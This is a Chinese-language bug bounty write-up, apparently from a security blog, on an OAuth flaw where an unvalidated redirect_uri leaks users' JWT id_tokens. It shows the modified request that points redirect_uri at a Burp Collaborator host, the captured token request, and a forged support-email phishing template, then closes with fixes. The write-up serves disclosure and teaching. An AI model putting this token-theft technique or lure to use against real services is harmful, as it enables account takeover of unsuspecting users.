官网:http://securitytech.cc/
OAuth 实战漏洞分析:我如何通过修改 redirect_uri 直接窃取用户 JWT
🔐 引言(Introduction)
在一次漏洞赏金测试中,我发现了一个严重的 OAuth 实现漏洞 ——
仅仅通过操控 redirect_uri 参数,我就能窃取用户的 JWT 认证令牌。
一个看似普通的 OAuth 流程测试,最终演变成:
任意已登录用户,只要点击攻击者精心构造的恶意链接,就会被完全接管账号。
我如何发现这个漏洞
第一步:信息收集(Recon)
我首先按照 BountyBuddy 的侦察步骤执行 (该平台提供高级漏洞赏金侦察清单)。
完成侦察后,我继续跟着 BountyBuddy 的流程测试 开放重定向(open redirect) 漏洞: recon.vulninsights.codes/
应用架构(The Application Architecture)
目标应用包含两个主域名:
- app.domain.com — 主应用,包含用户认证
- support.domain.com — 支持平台与集成的客服机器人
在 app.domain.com 中,点击“Support Ticket(工单)”按钮会触发 OAuth 流程,让用户登录支持平台。
漏洞挖掘过程(Discovery Process)
步骤 1:拦截 OAuth 流量
我点击“Support Ticket”,观察到一次 OAuth 重定向,于是用 Burp Suite Proxy 拦截到以下请求:
GET /account/freshworks/jwt/customer?
response_type=id_token&
client_id=3128979333002483118&
scope=openid%20email%20profile&
state=fwst_b0c44dcc410cb7fb50b19893d&
redirect_uri=https://support.domain.com/callback
步骤 2:测试 redirect_uri 参数
redirect_uri 引起了我的注意。
我把它改成 Google 测试是否有验证:
redirect_uri=https://google.com
结果:
应用显示"Login Successful!" 的成功页面,并出现跳转按钮,点击后确实跳去了 Google。
✔️ 漏洞存在:redirect_uri 没有限制!
但真正的危害还需要继续挖掘。
登录成功页面(图片已加载)
点击 "Go to Support Portal" 按钮后:
步骤 3:配置 Burp Collaborator
为了测试是否能窃取敏感数据(例如 token),我用自己的 Burp Collaborator 域名替换:
redirect_uri=https://1aciyh2llknkrci6hdujaj5twznndb2.oastify.com
步骤 4:关键发现(The Critical Discovery)
在 Burp Collaborator Client 中,我看到了——
DNS & HTTP 请求中包含完整的 JWT token!
👇(图片已加载)
Collaborator 捕获到如下访问:
GET /?id_token=eyJzdG1iOiJ5UzI1NiI5...eyJ5dmMuY29t&
client_id=3128979333002483118&
state=fwst_b0c44dcc410cb7fb50b19893d
✔️ 整个 JWT 被发送到了攻击者控制的服务器!
为什么会发生这种漏洞(Why This Works)
依赖用户已登录状态
该漏洞只在受害者已经登录 app.domain.com 时触发。
这让攻击更真实、更致命:
- 可针对活跃用户精准攻击
- 登录状态下点击“支持工单”更正常
- 难以在监控中被发现
核心技术缺陷
应用在多个地方出现严重错误:
-
redirect_uri 没有校验
- 任意外部域名都能被接受
-
JWT 放在 URL 中
- URL 会被日志、历史记录、代理、第三方系统收集
-
无来源校验(Origin validation)
-
重定向时自动向攻击者域名发送 JWT
这是 OAuth 中最经典、最危险的错误组合。
真实攻击场景(Real-World Attack Scenarios)
📌 场景 1:定向钓鱼攻击
攻击者发送伪造邮件:
From: support@domain.com (伪造)
Subject: 您的支持工单需要立即处理
正文:
尊敬的用户:
您的工单需要确认。
请点击此处查看:[恶意 OAuth URL]
谢谢,
Support Team
只要用户已登录 → JWT 立刻被盗
📌 场景 2:批量 Token 采集(Mass Token Harvesting)
攻击者发布一个伪造的“系统维护公告”,包含恶意 OAuth 链接:
- 社交媒体
- 论坛
- 工单公告板
无数用户点击 → Token 全部被收集。
📌 场景 3:企业邮件入侵(BEC)
攻击者针对企业员工:
- 伪造公司内部邮件
- 发送“支持门户升级”通知
- 多个员工的 JWT 被盗
- 攻击者完全接管内部系统
关键安全要点(Key Takeaways)
- redirect_uri 必须严格校验
- JWT 永远不能出现在 URL 中
- 不要再用 Implicit Flow,应使用 Auth Code Flow + PKCE
- 必须在不同用户状态下测试漏洞
- Burp Collaborator 是发现敏感数据外泄的关键工具
结论(Conclusion)
一个简单的开放重定向测试,最终演变成了:
可完全接管任意用户账号的严重 OAuth 漏洞
通过 Burp Collaborator,我证明了漏洞不仅可以跳转用户,更能:
- 直接窃取他们的 JWT
- 获取完整账户权限
此漏洞已被负责任披露并修复。